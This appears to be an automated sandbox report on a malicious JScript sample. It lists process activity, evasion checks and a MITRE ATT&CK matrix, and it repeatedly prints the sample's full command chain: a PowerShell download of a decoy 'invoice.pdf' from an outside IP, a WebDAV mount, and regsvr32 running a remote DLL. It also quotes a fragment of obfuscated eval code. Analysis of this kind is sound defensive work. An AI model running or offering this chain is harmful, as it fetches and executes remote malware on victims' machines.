Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\1602.js.csv");ITextStream.WriteLine(" entry:2535 f:xzqcswo");ITextStream.WriteLine(" exec:2 f:xzqcswo");ITextStream.WriteLine(" entry:5 o: f:eval a0:%22achgv%3D%5B1031%2C3079%2C5127%2C4103%2C2055%2C3072%5D%3Bvar%20pobywr%3Dthis%5Berklxx%2Bmholwwzob%2Brekagmu%2Bjklfe%2Btlyqs%2Bubowwqrb%2Bnbvlqffe%2Bekkfrw%5D(this%5Brulbbp%2Bhvduhwko%2Bdqyymej%2Brekagm");IHost.CreateObject("WScript.Shell");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("WScript.Shell");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3918			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5933			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2876	Thread sleep count: 3918 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6128	Thread sleep count: 5933 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6548	Thread sleep time: -11068046444225724s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1988	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4308	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5776	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 6520	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7384	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000007.00000002.2075797133.000002605F340000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: net.exe, 00000007.00000002.2075797133.000002605F3A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3304645687.0000024E65054000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 00000009.00000002.3303674198.0000024E5F82B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\229042692321085.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\229042692321085.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\229042692321085.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\229042692321085.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\229042692321085.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	22 Scripting	Valid Accounts	1 Command and Scripting Interpreter	22 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
